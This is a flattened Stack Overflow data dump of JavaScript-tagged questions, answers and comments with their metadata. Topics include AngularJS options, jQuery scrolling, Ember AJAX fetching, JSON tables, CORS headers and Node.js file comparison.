has body: I have a drop down that adds items on a page that are binded to a $scope. I basically want to make sure I don't add doubles to the array so my idea is to ng-hide the option if it already exists in the array. I don't know if it's possible to do something like this because the ng-options is inside the select so I dont know if i can append an ng-hide to them in the first place. Regardless, if it is possible, I would like to hide the option if it's id already exists in a scope. I was thinking you would just loop through each and check, here is my attempt $scope.checkifExist = function () { var ifExist = false; angular.forEach($scope.promptsPlease, function (data) { if (data.id == $scope.promptsPlease.id){ ifExist = true; } }); return ifExist; }; and so the select in the controller looks like &lt;select ng-model="fadingSelected" ng-options="type.name for type in fadingTypes track by type.id" ng-hide="checkIfExist()"&gt; &lt;/select&gt; I don't know if this is even possible, and I think I might just be approaching this all wrong. The idea is just so I cannot add the same one twice to the array that's binded to the scope. It doesn't necessarily have to ng-hide, it would just be nice. Any help would be appreciated! Thanks for reading.
has comment: http://stackoverflow.com/comment/40300723
linked to: http://stackoverflow.com/q/19328870

http://stackoverflow.com/comment/40340509
score: 1
has text: not pretty but you could add a complete callback to animation and add a fast animation to adjust if needed. Might make it look a bit like an easing animation that way
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25792140

http://stackoverflow.com/q/25823666
possible better answer: http://stackoverflow.com/a/25823903
has answer: http://stackoverflow.com/a/25823903
has comment: http://stackoverflow.com/comment/40398448
accepted answer: http://stackoverflow.com/a/25823781
type: AnsweredQuestion
has body: I'm having a bit of trouble with adjusting the code according to window width. If the window width is less than 450, I want it to scroll to a certain part, else another. Where am I going wrong? $('.artist-kina').click(function( e ){ e.preventDefault(); $('html, body').animate({ if ($(window).width() &lt; 450 { scrollTop: $('#artists').offset().top - 60 } else { scrollTop: $('#artists').offset().top - 115 } }, 500); $('.artists-home').fadeOut(function() { $('.kina-gallery').fadeIn('slow'); }); });
has comment: http://stackoverflow.com/comment/40398383
type: Question
score: 0
answer count: 2
has comment: http://stackoverflow.com/comment/40398456
tagged with: window
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40398505
has comment: http://stackoverflow.com/comment/40398340
has title: jQuery window width conditional not working
has comment: http://stackoverflow.com/comment/40398431
has answer: http://stackoverflow.com/a/25823781

http://stackoverflow.com/a/25837225
answers question: http://stackoverflow.com/q/25834667
score: 0
has body: I have just added a new attribute name value1 which can act as another value depending on the size of shirt. Choose shirt Shirt 1 Shirt 2 Small Medium JS $('#shirts').on('change', function () { var size=$("input[name=1]").val(); var selectedShirtText = $("#shirts :selected").text(); if (size=='large') var selectedShirtValue = $("#shirts :selected").val(); else var selectedShirtValue = $("#shirts :selected").attr('value1'); $("#priceSummary").text(selectedShirtText ? ("Price of: " + selectedShirtText + " " + "$" + selectedShirtValue) : "");}); you can run this code here
type: Answer

http://stackoverflow.com/comment/40399223
comment on: http://stackoverflow.com/a/25823968
type: AnswerComment
type: Comment
score: 1
has text: ya, finding index was pretty slick indeed. I'll never look at a string the same.

http://stackoverflow.com/q/25753564
tagged with: ember-data
upvote count: 1
linked to: http://stackoverflow.com/q/17938294
answer count: 1
downvote count: 0
tagged with: javascript
has title: EmberJS $.ajax record fetching returns undefined for model in setupController
favorite count: 0
tagged with: ajax
linked to: http://stackoverflow.com/q/24408892
has body: Ember-Data is great, but I needed something custom to fetch a user by the invitation_token but also call a different controller action entirely on the backend Rails side. Here's my route: MyEmberApp.InviteRoute = Ember.Route.extend({ model: function(params) { var self = this; var user; $.ajax({ type: 'GET', url: 'api/v1/users/invite?invitation_token=' + params.token, success: function(response) { user = self.store.createRecord('user', response.users[0]); console.log(user); return user; }, error: function(response) { console.log("Something went wrong."); } }); }, setupController: function(controller, model) { controller.set('model', model); console.log(model); }, }); In setupController the console.log(model) is undefined - is this because I'm using an $.ajax call? What do you suggest I do? I can't use pure ember-data because I need to protect and authorise users on a per rails controller basis.
has answer: http://stackoverflow.com/a/25755859
has comment: http://stackoverflow.com/comment/40302680
tagged with: ember.js
has comment: http://stackoverflow.com/comment/40275307
type: UnansweredQuestion
score: 1
type: Question

http://stackoverflow.com/comment/40464550
comment on: http://stackoverflow.com/a/25817677
score: 0
type: Comment
has text: Isn't that what the `for` loop does?
type: AnswerComment

http://stackoverflow.com/comment/40462356
comment on: http://stackoverflow.com/q/25853260
score: 0
type: QuestionComment
has text: In the code you've added to your question, which `.done()` handler is not getting called (there are 8 of them in the code you posted)?
type: Comment

http://stackoverflow.com/comment/40382172
type: Comment
comment on: http://stackoverflow.com/a/25814621
has text: @Flamur ok, that works by waiting for a button with the id of "mainButton" to be clicked and when it is it runs the function which clicks the 2 buttons in there button2 and button3 both have that as an id
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40255779
comment on: http://stackoverflow.com/a/25745703
has text: I thought about that but I need to pass the event object into updateItemTotal(event)
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/a/25829726
type: Answer
score: 2
upvote count: 2
accepted answer of: http://stackoverflow.com/q/25828769
has body: The way you're calling spawn now, tshark sees the arguments as one big quoted argument and it can't parse it correctly. It'd be as if you called it like: tshark "-i wlan0 -I -R ""wlan.fc.type == 0 &amp;&amp; wlan.fc.subtype == 4"" -e wlan.sa" What you need to do is separate out the arguments that you're passing to spawn in to individual items in the arguments array: ts = spawn('tshark', ['-i', 'wlan0', '-I', '-R', 'wlan.fc.type == 0 &amp;&amp; wlan.fc.subtype == 4', '-e', 'wlan.sa'] );
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/25828769

http://stackoverflow.com/comment/40372477
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25809616
has text: @Tommz: What you get back is probably not a plain Array, but an Array-like object, for example derived from an array but with added methods. When you log it, you will see the string representation of it rather than shown as an array.

http://stackoverflow.com/q/25819185
score: 0
upvote count: 1
downvote count: 1
has answer: http://stackoverflow.com/a/25819223
type: AnsweredQuestion
tagged with: http://stackoverflow.com/tag/json
type: Question
has comment: http://stackoverflow.com/comment/40390742
has body: I am trying to select each member by converting a multidimensional json stored in longtext format in mysql to an array in js, but it fails. Here's what I've tried: Get data from mysql and convert it to json format. from php if( isset( $_GET ) ){ $id = $_GET['id']; $conn = db_connect(); $id = mysql_fix_string( $conn, $id ); $result = $conn->query("select _usage from SVM where id='$id'")or die(mysqli_error( $conn )); $rows = array(); while( $re = mysqli_fetch_assoc( $result ) ){ $re['_usage'] = n12br( $re['_usage']); $re['_usage'] = html_entity_decode( $re['_usage']); $re['_usage'] = stripslashes( $re['_usage'] ); $rows[] = $re; } print( json_decode( $rows )); } js $(document).on('click', '.view-subtitle', function(e, ele){ const id = (this).attr("data-value"); $.ajax({ url:'connect_data.php', type:'GET', data:{id: id}, success: function(html){ const result = JSON.parse(html); console.log( typeof( result ) ); console.log( result[0] ); console.log( result[0].subtitle ); console.log( typeof( result[0].subtitle )); }, error: function(e){ alert(e.responseText); } , return false; });
has comment: http://stackoverflow.com/comment/40390754
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25819223
tagged with: sorting
tagged with: ajax
answer count: 1
has title: Convert multidimensional json to array in js
favorite count: 0
has comment: http://stackoverflow.com/comment/40391030

http://stackoverflow.com/comment/73459205
score: 0
type: AnswerComment
has text: Do you think this solution is performant? The watch expression will run on each digest. Performing a `map` + `$eval` seems a heavy task for it to be called so many times.
comment on: http://stackoverflow.com/a/25713285
type: Comment

http://stackoverflow.com/comment/40377214
score: 0
type: Comment
type: QuestionComment
has text: Check out my answer, I hope it will help you
comment on: http://stackoverflow.com/q/25799276

http://stackoverflow.com/comment/40269740
comment on: http://stackoverflow.com/a/25752966
type: Comment
has text: In that case what I am confused about is why a method that retrieves all of the articles from the database is written in two different places. Is this how it works in MEAN stack development?
type: AnswerComment
score: 0

http://stackoverflow.com/q/25804087
has answer: http://stackoverflow.com/a/25804652
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40363677
tagged with: http://stackoverflow.com/tag/json
accepted answer: http://stackoverflow.com/a/25804652
has title: adding element table created by json
type: Question
answer count: 2
has body: I am beginner in using JSON. I am trying to make a table that contain the element from json and it works. Here is the code &lt;script&gt; var js = '{ "classification" : ['+ '{ "Img":"banana.jpg" , "Species":"Banana", "Class":"Fruit", "Color":"Yellow" },' + '{ "Img":"apple.jpg" , "Species":"Apple", "Class":"Fruit", "Color":"Red" },' + '{ "Img":"grape.jpg" , "Species":"Grape", "Class":"Fruit", "Color":"Purple" },' + '{ "Img":"tomato.jpg" , "Species":"Tomato", "Class":"Vegetable", "Color":"Red" },' + '{ "Img":"carrot.jpg" , "Species":"Carrot", "Class":"Vegetable", "Color":"Orange" },' + '{ "Img":"spinach.jpg" , "Species":"Spinach", "Class":"Vegetable", "Color":"Green" } ]}'; var parser = JSON.parse(js); //var x = parser.classification[0].Class; &lt;/script&gt; &lt;script&gt; var cTable = document.createElement('table'); cTable.id = "json-test"; cTr = document.createElement('tr'); var th1 = document.createElement('th'); th1.innerHTML = 'Img'; var th2 = document.createElement('th'); th2.innerHTML = "Species"; var th3 = document.createElement('th'); th3.innerHTML = "Class"; var th4 = document.createElement('th'); th4.innerHTML = "Color"; cTr.appendChild(th1); cTr.appendChild(th2); cTr.appendChild(th3); cTr.appendChild(th4); cTable.appendChild(cTr); for(i = 0; i&lt;6;i++) { var cRow = document.createElement("tr"); var td1 = document.createElement("td"); td1.innerHTML = '&lt;img src='+parser.classification[i].Img+'&gt;&lt;/img&gt;'; var td2 = document.createElement("td"); td2.innerHTML = parser.classification[i].Species; var td3 = document.createElement("td"); td3.innerHTML = parser.classification[i].Class; var td4 = document.createElement("td"); td4.innerHTML = parser.classification[i].Color; cRow.appendChild(td1); cRow.appendChild(td2); cRow.appendChild(td3); cRow.appendChild(td4); cTable.appendChild(cRow); } document.body.appendChild(cTable); &lt;/script&gt; However, I want to make additional input box below that allow user to input new element when user submit the form …
tagged with: javascript
tagged with: jquery
score: 0
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25804642
possible better answer: http://stackoverflow.com/a/25804642

http://stackoverflow.com/comment/40272325
comment on: http://stackoverflow.com/q/25754176
type: Comment
type: QuestionComment
has text: Okay, that answers my first question (although I _think_ if you just add/remove a class for "full" vs. "empty" it should work, since you're using transitions), but not my second question.
score: 0

http://stackoverflow.com/comment/40408865
type: Comment
has text: My folder structure is like this index.html app.js config - config.js
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/25829388

http://stackoverflow.com/comment/40423808
type: Comment
has text: I tried the first option it just comes back as n1 undefined
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25836809

http://stackoverflow.com/q/25713194
type: UnansweredQuestion
tagged with: google-app-engine
has answer: http://stackoverflow.com/a/51140813
tagged with: python
has body: I've spent days of research over the seemingly simple question: is it possible to run C code in a browser at all? Basically, I have a site set up in Appengine that needs to run some C code supplied by (a group of trusted) users and run it, and return the output of the code back to the user. I have two options from here: I either need to completely run the code in the browser, or find some way to have Python run this C code without any system calls. I've seen mixed responses to my question. I've seen solutions like Emscripten, but that doesn't work because I need the LLVM code to be produced in the browser (I cannot run compilers in AppEngine.) I've tried various techniques, including scraping from the output page on codepad.org, but the output I will produce is so high that I cannot use services like codepad.org because they trim the output (my output will be ~20,000 lines of about 60 characters each, which is trimmed by codepad due to a timeout). My last resort is to make my own server that can serve my requests from my Appengine site, but that seems a little extreme. The code supplied by my users will be very simple C. There are no I/O or system operations called by their code. Unfortunately, I probably cannot simply use a find/replace operation in their code to translate it to Javascript, because they may use structures like multidimensional arrays or maybe even classes. I'm fine with limiting my users to one cross-platform browser, e.g. Chrome or Firefox. Can anyone help me find a solution to this question? I've been baffled for days.
has answer: http://stackoverflow.com/a/27289837
has answer: http://stackoverflow.com/a/25816275
has comment: http://stackoverflow.com/comment/40195039
has comment: http://stackoverflow.com/comment/40195022
type: Question
has title: Running C in A Browser
tagged with: javascript
tagged with: http://stackoverflow.com/tag/c
tagged with: browser
answer count: 3
downvote count: 0
has comment: http://stackoverflow.com/comment/40195352
score: 8
favorite count: 0
has comment: http://stackoverflow.com/comment/40195117
upvote count: 8

http://stackoverflow.com/comment/40398805
comment on: http://stackoverflow.com/a/25823734
has text: Thanks Mark, that got rid of the errors, I thought set was some type of specific thing js had for file creating but I guess not, anyway, the code still doesn't work!
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/40509029
has text: Thanks a lot, I'll go through the docs .I've observed when I do it the second way , all the attributes of the model were rendered as attributes of the DOM element too when it renders. Any clue why that happens ?
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25783054
type: AnswerComment

http://stackoverflow.com/q/25760705
has body: Greeting everyone, here I go. I'm currently trying to think of how it would be best to make editable spreadsheet like this one: Here's Work on Project timesheet!. (example is Excel spreadsheet, I need one made in html format), which is generated via pre-set data, on forms. So the main criteria is that all those numbers and letters in range H24:AL103 (see the example attachement) must be editable live and saved on temporary table (PHP, AJAX, MYSQL). Principle like in Google docs. I enter something, quit it and can return whenever I want and continue editing it with its saved progress. It has to be in almost same format as example and all fields must be active for editing or changes. Data inverse to H24:AL103 is calculated or pre-set from database tables. In the end user can press completed and table is no longer editable and waiting for verification after which it is exportable to .xls, .pdf and printable. Anyone can offer any practices on this one? P.S. Best ones would be specifically for Yii framework. As well can you help me on making database structure for this example? So everything would be put into one table.
type: UnansweredQuestion
tagged with: php
tagged with: excel
has title: Live timesheet editing and saving
tagged with: mysql
type: Question
has answer: http://stackoverflow.com/a/25761099
answer count: 1
tagged with: yii
tagged with: javascript
score: 0

http://stackoverflow.com/comment/40218121
score: 0
comment on: http://stackoverflow.com/q/25724354
type: Comment
type: QuestionComment
has text: service returns a promise and `postMessage`s, background page gets the message and makes the request, when it's done it sends a message back to the foreground service which in turn resolves the promise with the value.

http://stackoverflow.com/comment/40458178
comment on: http://stackoverflow.com/a/25855513
type: Comment
has text: Yeah I am sorry I was trying to refer to what he posted, I am using his code now but now the issue I am having is that whenever I set the setting to 1920px 1080px, the images will become out of bounce as you can see on http://teeria.net/ and it's set as an image and not a background, is there a way to fix this?
score: 0
type: AnswerComment

http://stackoverflow.com/q/25763882
has title: Why does this happens in passing an array?
has body: I'm trying to pass the array of values from a function in .js file to .jsp file using document.formname.action but its creating the array index out of bound. My .js file (note this line: document.detailsview.action=" "): function savetheChanges(count) { var kkot1=new Array(); var iitemcode1=new Array(); var dropdown11=new Array(); var billno=document.getElementById("billno").value; for(var i=0;i&lt;count;i++) { var selec = document.getElementById("sel"+i); dropdown11[i] = selec.options[selec.selectedIndex].value; kkot1[i]=document.getElementById("kot"+i).value; iitemcode1[i]=document.getElementById("itemcode"+i).value; //var dummydrop=dropdown1[i]; alert(i+" "+dropdown11[i]); //var mydropp=dropdown11[i]; } document.detailsview.action="BillCB.jsp?method=" + "11" + "&amp;billno="+billno+"&amp;itemStatus1="+dropdown11+ "&amp;kot="+kkot1+ "&amp;itemcode="+iitemcode1; } BillCB.jsp (method11): case 11: gotMethod = true; billdetails_be.billno = Integer.valueOf(request.getParameter("billno")); String[] kotCbb=request.getParameterValues("kot"); String[] itemCbb=request.getParameterValues("itemcode"); String[] statCbb=request.getParameterValues("itemStatus1"); System.out.println("IN AVAILABLE:Size of KOT array is :" +kotCbb.length); System.out.println("IN AVAILABLE:Size of ITEM array is:"+itemCbb.length); System.out.println("IN AVAILABLE:size of STATUS array is:"+statCbb.length); Output in console is: IN AVAILABLE:Size of KOT array is :19 IN AVAILABLE:Size of ITEM array is:19 IN AVAILABLE:size of STATUS array is:1
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40290206
tagged with: java
type: Question
score: 0
tagged with: arrays
tagged with: jsp
tagged with: javascript
has comment: http://stackoverflow.com/comment/40290282
has comment: http://stackoverflow.com/comment/40289265
has comment: http://stackoverflow.com/comment/40288822

http://stackoverflow.com/q/25724184
tagged with: http://stackoverflow.com/tag/html
answer count: 1
tagged with: fancybox
has comment: http://stackoverflow.com/comment/40215793
has comment: http://stackoverflow.com/comment/40215749
has comment: http://stackoverflow.com/comment/40215682
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40215616
has comment: http://stackoverflow.com/comment/40215841
type: Question
has body: So on this page here, the image at the top of the "Clubz4u" website when clicked is supposed to show an enlarged image preview done with jquery's fancybox function. But it just opens the image. Here is my code: Our Work `
has title: Jquery .fancybox not working
has answer: http://stackoverflow.com/a/25724367
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40215558
score: 0

http://stackoverflow.com/a/25785722
has comment: http://stackoverflow.com/comment/40329251
score: 0
has comment: http://stackoverflow.com/comment/40330871
answers question: http://stackoverflow.com/q/25785484
has body: Your question isn't very clear, neither the use case. As someone told u, obj is a JavaScript object, not a JSON. If I understood correctly, you want to check if a path, espressed as string (such as "obj.count") exists in that object. A very fast but not safe solution (eval is evil and should be avoided almost in every case) could be: if(eval(inputpath)){ //... do something } In alternative, I suggest you to write a function that gets an object and a string (path) as parameter, parses the string path and check if the object contains such path. Start from here: Accessing nested JavaScript objects with string key
type: Answer

http://stackoverflow.com/comment/40447552
type: Comment
has text: @Alnitak: Probably, but when in Rome/jQuery... :)
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25850721

http://stackoverflow.com/q/25745432
tagged with: http://stackoverflow.com/tag/html
answer count: 1
tagged with: ipad
has title: Virtual Keyboard on Ipad make the input[type=range] slider thumb disappear
accepted answer: http://stackoverflow.com/a/25768275
has body: I am currently developing a web site for an iPad Air and Firefox, with bootstrap. In a page, I have an input type=number that allows the user to change the value of the input type=range. I have set the onkeypress event of my input type=number to force the blur() when the ENTER key is pressed. function onkeyPressFunction(){ var isEnter = charCode == 13; if (isEnter) { document.activeElement.blur(); } } The problem is that on Ipad, when I press the go button on the virtual keyboard, the thumb of the slider disappears. I have tested it on Firefox and I do not have this problem.
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40256367
tagged with: mobile-safari
type: Question
tagged with: javascript
score: 0
has answer: http://stackoverflow.com/a/25768275
has comment: http://stackoverflow.com/comment/40255765
tagged with: slider

http://stackoverflow.com/comment/40395607
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25822067
has text: You can use ng-class to bind a model to a css class. Does IE show a javascript error in F12 ?
score: 0

http://stackoverflow.com/a/25737275
score: 1
has body: if you are trying to get input with specific class name within table, you can do as follownig: var table=$("table"); //cast your table here table.find("input.a").each(function(){ $(this).val("triggered"); //input.b will be skipped }); jsfiddle sample http://jsfiddle.net/84nucpxm/1/
upvote count: 1
type: Answer
downvote count: 0
answers question: http://stackoverflow.com/q/25736433

http://stackoverflow.com/q/25835838
has comment: http://stackoverflow.com/comment/40420732
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25842531
has body: My problem is, i am getting a html text os string doesnt matter what is it from jquery but when i printed it inside a div element it doesnt clean the old data inside. div is so simple just like that &lt;div id=table runat=server&gt; and my script is here function send(inputa, inputb) { var dataString = JSON.stringify({ Id: inputa, Opt: inputb }); $.ajax({ type: "POST", url: "my.aspx/myfunction", data: dataString, contentType: "application/json; charset=utf-8", dataType: "json", success: function (result) { alert(result.d); // here i can see calue is good $("#ctl00_ContentPlaceHolder2_tablo").empty(); // here i try to clean $("#ctl00_ContentPlaceHolder2_tablo").html(result.d); }, error: function () { alert("Problem Occured"); } }); } Please let me know what is not good here. I tried all functions html text val, i need something more i guess. my output has old values aswell.
has comment: http://stackoverflow.com/comment/40420594
has comment: http://stackoverflow.com/comment/40420652
score: 0
has comment: http://stackoverflow.com/comment/40421621
type: Question
has comment: http://stackoverflow.com/comment/40420870
has answer: http://stackoverflow.com/a/25836353
has title: Owerwrite to a div element with Jquery
tagged with: javascript
has comment: http://stackoverflow.com/comment/40420578
has comment: http://stackoverflow.com/comment/40420929
has comment: http://stackoverflow.com/comment/40420658
answer count: 2
has comment: http://stackoverflow.com/comment/40420943
has comment: http://stackoverflow.com/comment/40420754
tagged with: jquery
tagged with: asp.net
has comment: http://stackoverflow.com/comment/40422828
type: UnansweredQuestion

http://stackoverflow.com/q/25734019
has title: Which actual products (web, mobile apps, etc.) use bacon.js?
has body: Have been reading about Functional Reactive Programming and bacon.js. I have some questions concerning its adoption: I'm curious about which companies have used bacon.js or are considering its use in actual products? I found this article from Flowdock, but was unable to find other examples. Are there more mature JavaScript FRP frameworks? Thanks!
type: AnsweredQuestion
score: 3
has answer: http://stackoverflow.com/a/25748944
tagged with: bacon.js
upvote count: 3
has comment: http://stackoverflow.com/comment/40261807
linked to: http://stackoverflow.com/q/1028250
type: Question
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25748944
has comment: http://stackoverflow.com/comment/40236789
has comment: http://stackoverflow.com/comment/40234725
downvote count: 0
answer count: 1
favorite count: 0

http://stackoverflow.com/a/25754064
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25754039
answers question: http://stackoverflow.com/q/25754039
has body: Use location.href location.href = "www.google.com";
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/40272004

http://stackoverflow.com/comment/40394289
type: Comment
comment on: http://stackoverflow.com/a/25821140
has text: @elclanrs I'm not up to date with this witchcraft.
score: 0
type: AnswerComment

http://stackoverflow.com/q/25752099
has answer: http://stackoverflow.com/a/25753359
answer count: 2
tagged with: cors
has title: AngularJS can't use Basic Authentication
has comment: http://stackoverflow.com/comment/40268084
tagged with: javascript
has body: I've problem with settings header. My js script var invocation = new XMLHttpRequest(); var url = 'http://example.com/api/auth'; var handler = []; if(invocation) { invocation.open('GET', url, true); invocation.setRequestHeader('X-PINGOTHER', "DDD"); invocation.setRequestHeader('Access-Control-Allow-Origin', "http://localhost"); invocation.setRequestHeader('Access-Control-Request-Headers', true); invocation.onreadystatechange = handler; invocation.send(); } Header from firebug: OPTIONS /api/auth HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0 FirePHP/0.7.4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Origin: http://localhost Access-Control-Request-Method: GET Access-Control-Request-Headers: access-control-allow-origin,x-pingother x-insight: activate Connection: keep-alive As you can see it always adds to the Access-Control-Request-Headers as value, and sets OPTIONS no GET. Any idea?
score: 0
tagged with: angularjs
tagged with: cross-browser
has answer: http://stackoverflow.com/a/25752334
linked to: http://stackoverflow.com/q/24363907
type: UnansweredQuestion
type: Question
has comment: http://stackoverflow.com/comment/40268180

http://stackoverflow.com/a/25760797
has body: as mentioned before z-index only works within a particular context i.e. relative, fixed or absolute position. z-index for a relative div has nothing to do with the z-index of an absolutely or fixed div. Here is your FIDDLE ul#filetreeMenu { z-index: 999 !important; position: fixed; } div#wrapper { position: initial !important; }
score: 0
answers question: http://stackoverflow.com/q/25760496
type: Answer

http://stackoverflow.com/comment/78142326
type: Comment
has text: What node module is this. Is this one you are referring https://github.com/kelektiv/node-uuid ? It does not have a parse method.
comment on: http://stackoverflow.com/a/25769745
type: AnswerComment
score: 0

http://stackoverflow.com/q/25746640
has body: I'm trying to combine pills and accordion in bootstrap 3. It seems to work file, but I have two issues. if the accordion is open, when clicking on another tab the accordion closes. i would like it to close only when clicking on the active tab, otherwise i want it to show the clicked tab. when clicking a tab on another accordion line, the tab in the previous line is still showing as active. bootply code example: here. Red Orange Yellow Green Blue Red red red red red red red Orange orange orange orange orange orange Yellow yellow yellow yellow yellow yellow Green green green green green green Blue blue blue blue blue blue CSS: .panel-default { border: 0px; } .panel { border: 0px solid transparent; */ border-radius: 0px; -webkit-box-shadow: 0 0 0; box-shadow: 0; }
downvote count: 0
tagged with: javascript
tagged with: jquery
favorite count: 0
answer count: 5
has answer: http://stackoverflow.com/a/25747684
has answer: http://stackoverflow.com/a/25761270
tagged with: css
has answer: http://stackoverflow.com/a/25749136
score: 2
type: AnsweredQuestion
tagged with: twitter-bootstrap-3
upvote count: 2
has comment: http://stackoverflow.com/comment/40259267
has answer: http://stackoverflow.com/a/25747821
type: Question
has comment: http://stackoverflow.com/comment/40258053
possible better answer: http://stackoverflow.com/a/25750662
accepted answer: http://stackoverflow.com/a/25749136
has answer: http://stackoverflow.com/a/25750662
has title: Bootstrap 3 pills in side an accordion

http://stackoverflow.com/comment/40225488
type: QuestionComment
comment on: http://stackoverflow.com/q/25728486
has text: I'm not sure what are you actually asking, but [this SO answer](http://stackoverflow.com/questions/3076414/ways-to-circumvent-the-same-origin-policy) is probably related?
score: 0
type: Comment

http://stackoverflow.com/comment/82525621
type: AnswerComment
has text: @L.Trabacchin, if the paragraph is longer than the screen height, it might not make sense to auto-scroll. Alternatively, you could exclude that particular paragraph within the logic.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25839854

http://stackoverflow.com/a/25757902
type: Answer
has comment: http://stackoverflow.com/comment/40278722
answers question: http://stackoverflow.com/q/25757832
has body: var email = 'string@string'; /[^@]+@[^@]+/.test(email); // returns true; The above does exactly what you've asked. However, I don't think what you've asked is enough to validate an email address. I would suggest just using the validator library as follows: This library does much more than just an email validation which you might find useful.
score: 0

http://stackoverflow.com/a/25852008
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/25845532
accepted answer of: http://stackoverflow.com/q/25845532
type: Answer
upvote count: 1
has body: Per WS API documentation, PortfolioItem is a non-creatable type. With some modifications, here is your code that creates a feature. Below are two examples. I replaced portfolioitem with portfolioitem/feature in the artifactTypes of the ChooserDialog in the first example. The second example allows a choice of pi types, and notice that the type in Rally.data.ModelFactory.getModel in the second example is set dynamically. EXAMPLE 1 (only features): Ext.define('CustomApp', { extend: 'Rally.app.App', componentCls: 'app', items:{ html:'App SDK 2.0rc3 Docs'}, _newObj : {}, launch: function() { Ext.create('Rally.ui.dialog.ChooserDialog', { width: 450, autoScroll: true, height: 525, title: 'Select to Copy', pageSize: 100, closable: false, selectionButtonText: 'Copy', artifactTypes: ['portfolioitem/feature'], autoShow: true, listeners: { artifactChosen: function(selectedRecord) { console.log(selectedRecord.get('FormattedID') + ', ' + selectedRecord.get('Name') + ' was chosen'); this._newObj = selectedRecord; this.onqModelRetrieved(); }, scope: this }, }); }, onqModelRetrieved: function() { Rally.data.ModelFactory.getModel({ type: 'PortfolioItem/Feature', success: this.onModelRetrieved, scope: this }); }, onModelRetrieved: function(model) { this.model = model; this.createFeature(); }, createFeature: function() { var record = Ext.create(this.model, { Name: "(Copy of) " + this._newObj.get('Name'), }); record.save({ callback: function(result, operation) { if(operation.wasSuccessful()) { console.log('created feature:', result.get('ObjectID'),result.get('FormattedID'),result.get('Name')); } else{ console.log("error"); } } }); } }); EXAMPLE 2 (all pi types): The second example works with all pi types, and artifactTypes is expanded to include themes, initiative and features: artifactTypes: ['portfolioitem/theme','portfolioitem/initiative','portfolioitem/feature'] Here is the code: Ext.define('CustomApp', { extend: 'Rally.app.App', componentCls: 'app', items:{ html:'App SDK 2.0rc3 Doc…
has comment: http://stackoverflow.com/comment/40467596
type: AcceptedAnswer

http://stackoverflow.com/comment/40343999
has text: level.selection doesn't have a $index because it's your model, you could see the index in a repeater, but once you assign it to the model, the $index is gone. what does {{level.selection}} output?
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/25793993
type: Comment

http://stackoverflow.com/comment/40441133
score: 0
has text: Ok, thank you, it makes sense now. What can I use instead of .html in this case? I tried .append but without success.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25847141

http://stackoverflow.com/a/60091806
has body: I think that you should use non-blocking calls in JavaScript to get a better performance, at least to prevent from blocking other operations: Blocking is when the execution of additional JavaScript in the Node.js process must wait until a non-JavaScript operation completes. This happens because the event loop is unable to continue running JavaScript while a blocking operation is occurring. In Node.js, JavaScript that exhibits poor performance due to being CPU intensive rather than waiting on a non-JavaScript operation, such as I/O, isn't typically referred to as blocking. Synchronous methods in the Node.js standard library that use libuv are the most commonly used blocking operations. Native modules may also have blocking methods. So, I would change the Sync calls with something like the following code. Also, I would use the method equals that Max suggest to compare both files: const fs = require('fs') fs.readFile('file1', (err, data1) =&gt; { if (err) throw err; fs.readFile('file2', (err, data2) =&gt; { if (err) throw err; if (data1.equals(data2)) { console.log('EQUAL') } else { console.log('NON EQUAL') } }); }); Though for a small and a single script the result would be almost the same
answers question: http://stackoverflow.com/q/25783161
downvote count: 0
type: Answer
upvote count: 1
score: 1

http://stackoverflow.com/q/25760157
accepted answer: http://stackoverflow.com/a/25760729
tagged with: javascript
score: 0
has body: I'm using the directive as presented in this plunker. app.directive('datetimez', function() { return { restrict: 'A', require : 'ngModel', link: function(scope, element, attrs, ngModelCtrl) { element.datetimepicker({ dateFormat:'dd/MM/yyyy hh:mm:ss', language: 'pt-BR' }).on('changeDate', function(e) { ngModelCtrl.$setViewValue(e.date); scope.$apply(); }); } }; }); The purpose of this directive is to use the datetime picker here. The API provides 2 methods to settings dates: setLocalDate and setDate. When using the control the model is updated, however when changing the model from the code the view is not updated. I'm quite a newbie to angular directive, but in my understanding is that I need to add a watch function to the directive and probably use the api functions of the datepicker to set the dates but have no idea how. Any help would be much appreciated. Thanks, Omer.
answer count: 1
tagged with: angularjs
has title: How to add watch to an exisiting angular directive?
has answer: http://stackoverflow.com/a/25760729
type: AnsweredQuestion
type: Question

http://stackoverflow.com/q/25779491
has answer: http://stackoverflow.com/a/32160336
favorite count: 0
has answer: http://stackoverflow.com/a/25813174
has comment: http://stackoverflow.com/comment/40380333
has comment: http://stackoverflow.com/comment/40339056
upvote count: 10
tagged with: node.js
answer count: 4
has answer: http://stackoverflow.com/a/37015562
has comment: http://stackoverflow.com/comment/97201937
has comment: http://stackoverflow.com/comment/40339539
downvote count: 0
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/23819730
has comment: http://stackoverflow.com/comment/40341394
